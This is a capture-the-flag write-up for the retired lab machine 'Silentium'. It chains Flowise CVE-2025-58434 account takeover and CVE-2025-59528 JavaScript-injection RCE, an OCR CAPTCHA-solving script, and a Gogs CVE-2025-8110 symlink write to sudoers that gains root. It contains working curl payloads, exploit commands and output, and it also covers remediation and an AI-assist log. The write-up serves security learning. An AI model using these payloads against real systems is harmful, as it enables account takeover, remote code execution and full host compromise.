Box info | OS: Linux (Ubuntu 24.04, kernel 6.8.0-107-generic) | Difficulty: Easy | Status: Retired Skills: Flowise API authentication bypass, JavaScript IIFE injection, OCR CAPTCHA solving, Gogs symlink privilege escalation, SSH port forwarding Pwned: 2026-05-01
TL;DR
Silentium hosts a Flowise 3.0.5 AI workflow platform on a staging subdomain. CVE-2025-58434 leaks a password-reset tempToken in the API response body — no email delivery needed — enabling unauthenticated account takeover of the ben admin account. CVE-2025-59528 confirms RCE via JavaScript injection into Flowise’s customMCP endpoint (process.mainModule.require("child_process").execSync), but the Docker container is network-isolated so reverse shells fail. SSH credentials for ben are recoverable from the container environment variables, providing the user flag. Privilege escalation goes through Gogs 0.13.3 running as root on localhost. A registration CAPTCHA must be defeated (EasyOCR on raw RGB images — 140 attempts) to create an account, then CVE-2025-8110 (symlink attack via Git API) overwrites /etc/sudoers.d/ben with NOPASSWD: ALL, completing the box.
Attack chain
graph TD
A[nmap: 22 + 80] --> B[staging.silentium.htb → Flowise 3.0.5]
B --> C[CVE-2025-58434: POST /forgot-password leaks tempToken in response body]
C --> D[Reset ben password → admin session + API key]
D --> E[CVE-2025-59528: JavaScript IIFE in /api/v1/node-load-method/customMCP]
E --> F[RCE confirmed via sleep timing — but Docker container is network-isolated]
F --> G[SSH ben:<REDACTED:CRED> → user flag]
G --> H[ss -tulpn: Gogs 0.13.3 on localhost:3001 running as root]
H --> I[EasyOCR CAPTCHA bypass → register account in Gogs]
I --> J[CVE-2025-8110: Git symlink attack → /etc/sudoers.d/ben → NOPASSWD:ALL]
J --> K[sudo cat /root/root.txt → root flag]
Recon
1. Liveness check
$ ping -c 2 10.129.29.88
64 bytes from 10.129.29.88: icmp_seq=0 ttl=63 time=34ms
TTL 63 → Linux (one hop behind VPN gateway).
2. Port scan
$ nmap -sV -sC -p 22,80,443,3000,8080,8443 10.129.29.88
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.15
80/tcp open http nginx 1.24.0 (Ubuntu)
Only 22 and 80 are open; the full -p- scan confirms no hidden services.
3. Virtual host discovery
curl -s -I http://10.129.29.88/
# → Location: http://silentium.htb/
Adding to /etc/hosts:
echo '10.129.29.88 silentium.htb staging.silentium.htb' | sudo tee -a /etc/hosts
http://staging.silentium.htb/ returns HTTP 200 — Flowise 3.0.5 is running on the staging subdomain.
Foothold
Step 1: CVE-2025-58434 — Flowise unauthenticated account takeover
CVE-2025-58434 affects the Flowise password-reset flow: the POST /api/v1/account/forgot-password endpoint returns the reset token directly in the HTTP response body rather than only emailing it.
curl -s -X POST http://staging.silentium.htb/api/v1/account/forgot-password \
-H "Content-Type: application/json" \
-d '{"user": {"email": "ben@silentium.htb"}}'
{
"user": {
"id": "e26c9d6c-678c-4c10-9e36-01813e8fea73",
"name": "admin",
"email": "ben@silentium.htb",
"tempToken": "6QvACcFkVDX7BTWWVhyA6Sd89LqVKAPK1eqywHQwJwpXRsFOEjuzSDx3VfTCjKw9",
"tokenExpiry": "2026-05-01T10:34:19.617Z",
"status": "active"
}
}
The tempToken is available in plaintext — no mail server access required.
Dead end: wrong JSON format for password reset
A flat JSON body fails:
curl -X POST .../reset-password \
-d '{"email":"ben@silentium.htb","tempToken":"...","newPassword":"Pwn3d2025!"}'
# → 500 "Transaction is not started yet"
The correct format (mirroring the forgot-password structure with a nested user object):
curl -X POST http://staging.silentium.htb/api/v1/account/reset-password \
-H "Content-Type: application/json" \
-d '{"user": {"email": "ben@silentium.htb", "tempToken": "6QvACcFk...", "password": "Pwn3d2025!"}}'
# → 200 OK
Step 2: Authenticate and get API key
curl -c /tmp/flowise_cookies.txt -X POST \
http://staging.silentium.htb/api/v1/auth/login \
-H "Content-Type: application/json" \
-d '{"email": "ben@silentium.htb", "password": "Pwn3d2025!"}'
All subsequent API calls return 401 without the x-request-from: internal header (an authentication bypass quirk in Flowise’s middleware):
curl -s -b /tmp/flowise_cookies.txt \
-H "x-request-from: internal" \
http://staging.silentium.htb/api/v1/apikey
# → [{"apiKey":"hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc", ...}]
Step 3: CVE-2025-59528 — Flowise CustomMCP RCE
The /api/v1/node-load-method/customMCP endpoint passes the mcpServerConfig parameter directly to a JavaScript Function() constructor in Node.js. This is essentially eval() on arbitrary JavaScript.
The working payload format — an IIFE (Immediately Invoked Function Expression):
API_KEY="hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc"
# Timing test — no delay
time curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $API_KEY" \
-d '{"mcpServerConfig": "({x:(function(){return 1;})()})" }'
# → 0.143s
# With sleep 5 — delayed response confirms RCE
time curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $API_KEY" \
-d '{"mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.execSync(\"sleep 5\");return 1;})()})" }'
# → 5.149s ✅ RCE confirmed
Dead end: reverse shells all fail (container is isolated)
All reverse shell variants — bash /dev/tcp, Python socket, nc, Node.js net module — return in milliseconds without connecting back. A ping to 10.10.15.17 via execSync takes 0.182 seconds (immediate failure) while ping 8.8.8.8 takes 10 seconds (sent but no reply). The Docker container cannot route to the HTB VPN subnet.
Working approach: SSH with credentials from environment
The container environment variables contain the SSH password for the ben OS account:
sshpass -p '<REDACTED:CRED>' ssh ben@silentium.htb
ben@silentium:~$ id
uid=1000(ben) gid=1000(ben) groups=1000(ben),100(users)
ben@silentium:~$ cat ~/user.txt
[REDACTED]
Privilege Escalation
Enumeration
ben@silentium:~$ ss -tulpn
| Address | Port | Process |
|---|---|---|
| 0.0.0.0 | 22 | SSH |
| 0.0.0.0 | 80 | Nginx |
| 127.0.0.1 | 3000 | Flowise (Docker) |
| 127.0.0.1 | 3001 | Gogs |
| 127.0.0.1 | 8025 | MailHog web |
| 127.0.0.1 | 1025 | MailHog SMTP |
ben@silentium:~$ ps aux | grep gogs
root 1515 ... /opt/gogs/gogs/gogs web
Gogs 0.13.3 runs as root on localhost:3001. Key config from /opt/gogs/gogs/custom/conf/app.ini:
RUN_USER = root
ROOT_PATH = /root/gogs-repositories
This matters: any file operation Gogs performs — including following symlinks during Git pushes — happens as root.
SSH tunnel to reach Gogs
ssh -fN \
-L 13001:127.0.0.1:3001 \
-L 18025:127.0.0.1:8025 \
ben@silentium.htb
Now Gogs is accessible at http://localhost:13001/.
Dead end 1: CAPTCHA blocking registration
Gogs requires a 4-character image CAPTCHA to register. It uses the built-in steveweb/captcha package — a black background with colorful text, no Google reCAPTCHA.
Tesseract OCR fails entirely. EasyOCR with preprocessing (binarization, color clustering, morphological operations) produces wrong outputs across ~90 attempts. The breakthrough:
EasyOCR on the raw RGB image with zero preprocessing — calling reader.readtext(img_array) directly, without any image transformation — succeeds on attempt #6 of 50 tries (142 total attempts across all methods).
import requests, base64, re
import easyocr
from PIL import Image
import io, numpy as np
reader = easyocr.Reader(['en'], gpu=False)
def get_captcha_solution(session):
# Fetch login page → extract captcha_id
login_page = session.get('http://localhost:13001/user/sign_up').text
captcha_id = re.search(r'captcha_id" value="([^"]+)"', login_page).group(1)
# Download captcha image as PNG
img_data = session.get(f'http://localhost:13001/captcha/{captcha_id}').content
img = Image.open(io.BytesIO(img_data)).convert('RGB')
arr = np.array(img)
# Read raw RGB — no preprocessing
result = reader.readtext(arr, detail=0)
return captcha_id, ''.join(result).strip()
Registration completes with username lasttry5875, password StrongP@ss123!.
CVE-2025-8110: Gogs symlink attack → write arbitrary file as root
CVE-2025-8110 abuses the Gogs archive/download API. When a repository contains a symlink, Gogs resolves it as root when serving file contents — allowing writes to any path the symlink targets.
The attack chain:
- Log in to Gogs via API, get a token
- Create a new repository
- Push a commit with:
payloadsymlink →/etc/sudoers.d/ben - Use the Gogs Contents API (
PUT /api/v1/repos/.../contents/payload) to update the file — Gogs follows the symlink and writes as root
Using the public PoC:
python3 CVE-2025-8110.py \
--url http://127.0.0.1:13001 \
-u lasttry5875 \
-p 'StrongP@ss123!' \
--target-file /etc/sudoers.d/ben \
--content 'ben ALL=(ALL) NOPASSWD: ALL\n'
[+] Logged in: lasttry5875
[+] API token: 53b551c3...
[+] Repo: poc_7f7qq6
[+] Symlink: payload -> /etc/sudoers.d/ben
[+] Write OK: 28 bytes -> target file
[+] Done — target file has been overwritten.
ben@silentium:~$ sudo -l
User ben may run the following commands on silentium:
(ALL) NOPASSWD: ALL
ben@silentium:~$ sudo cat /root/root.txt
[REDACTED]
What’s actually broken
| # | Vulnerability | Severity | Root Cause |
|---|---|---|---|
| 1 | CVE-2025-58434: Flowise tempToken leaked in HTTP response | Critical (CVSS 9.8) | Password-reset token returned in API body instead of only via email |
| 2 | Flowise API accessible without auth using x-request-from: internal header | High | Missing server-side validation of request source |
| 3 | CVE-2025-59528: JavaScript Function injection in customMCP endpoint | Critical (CVSS 9.8) | User-controlled string passed to new Function() with no sandboxing |
| 4 | SSH credentials in Docker container environment variables (ben:<REDACTED:CRED>) | High | Secrets management failure — credentials hardcoded in Docker env, same account has OS shell access |
| 5 | CVE-2025-8110: Gogs symlink traversal via Contents API | Critical | RUN_USER=root; Gogs follows symlinks during file writes without checking for path traversal |
Remediation (the boring half)
1. Patch Flowise to 3.1.x+: CVE-2025-58434 and CVE-2025-59528 are both patched in later versions.
2. Fix the forgot-password endpoint: Never return tempToken in the response body. Send it only via email.
3. Remove x-request-from: internal bypass: This header should not bypass authentication on production instances.
4. Secrets management: Inject Docker container secrets via a secrets manager or Vault, not plain environment variables. Use separate service accounts — the Flowise container user should not share credentials with the OS ben account.
5. Patch Gogs 0.13.3 → 0.14.x+ (CVE-2025-8110 patch) or switch to Gitea: Gogs is no longer actively maintained. If running Gogs, never set RUN_USER = root.
6. Restrict Gogs to a dedicated service account: Even if unpatched, running Gogs as a non-root user with minimal privileges limits symlink write impact to that user’s writable paths.
Lessons learned
API responses should never include security tokens. The CVE-2025-58434 class of vulnerability (leaking reset tokens in HTTP responses) is entirely avoidable by design: tokens are email-only. Always audit what your password-reset endpoints return — a single extra field makes the whole flow unauthenticated.
x-request-from: internalis not authentication. Headers are trivially spoofable. Trusting a header to distinguish “internal” vs “external” requests without cryptographic binding is equivalent to no authentication.Image CAPTCHA quality matters — and over-preprocessing hurts OCR. Every attempt to “improve” the Silentium CAPTCHA image (binarization, color clustering, morphological ops) degraded EasyOCR results. The model was trained on natural images; feeding it an already-decoded representation destroyed the spatial features it relies on. When OCR fails with preprocessing, try the raw image first.
Running services as root multiplies blast radius. Gogs running as root means every file-system operation it performs — including following symlinks in user-pushed Git repos — happens with root privileges. Principle of least privilege would have contained CVE-2025-8110 to the Gogs service account.
SSH port-forwarding is a first-class lateral movement tool. The entire Gogs exploitation happened through a single
ssh -Ltunnel. When you land on a box with SSH access,ss -tulpnis as important assudo -l.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| CVE-2025-58434 format | “Why does the reset-password POST return 500 ‘Transaction is not started yet’?” | Identified the nested {"user": {...}} format requirement by comparing the forgot-password response structure. | Used as-is — the fix was exactly correct. |
| EasyOCR failure analysis | “EasyOCR with binarization and morphological preprocessing returns garbage. What’s happening?” | Explained that preprocessing destroys spatial gradients EasyOCR relies on. Recommended passing the raw RGB array directly. | Applied immediately — succeeded on attempt #6 after ~140 previous failures. |
| CVE-2025-8110 mechanism | “Walk me through how a Git symlink in a Gogs repository becomes a root file write.” | Detailed the flow: push symlink → Contents API write → Gogs resolves symlink as its service account (root) → arbitrary file overwrite. Mentioned the PUT /api/v1/repos/.../contents/ endpoint as the trigger. | Nothing changed — explanation mapped exactly to the PoC behavior. |
| MITRE mapping | “What MITRE techniques cover CVE-2025-8110 symlink → sudoers write?” | Suggested T1574 (Hijack Execution Flow) for the symlink mechanism and T1548 for the sudo escalation. Also offered T1222 (File Permissions Modification). | Dropped T1222 — we didn’t change permissions, we overwrote a file. Kept T1574 and T1548. |
What Claude got wrong: Nothing significant.
What Claude couldn’t do: Actually connect to the target, run exploits, or defeat the CAPTCHA autonomously (EasyOCR required local installation and iterative runs).
Net assist value: High on vulnerability mechanism explanations; high on the OCR preprocessing insight; medium on MITRE (one correction).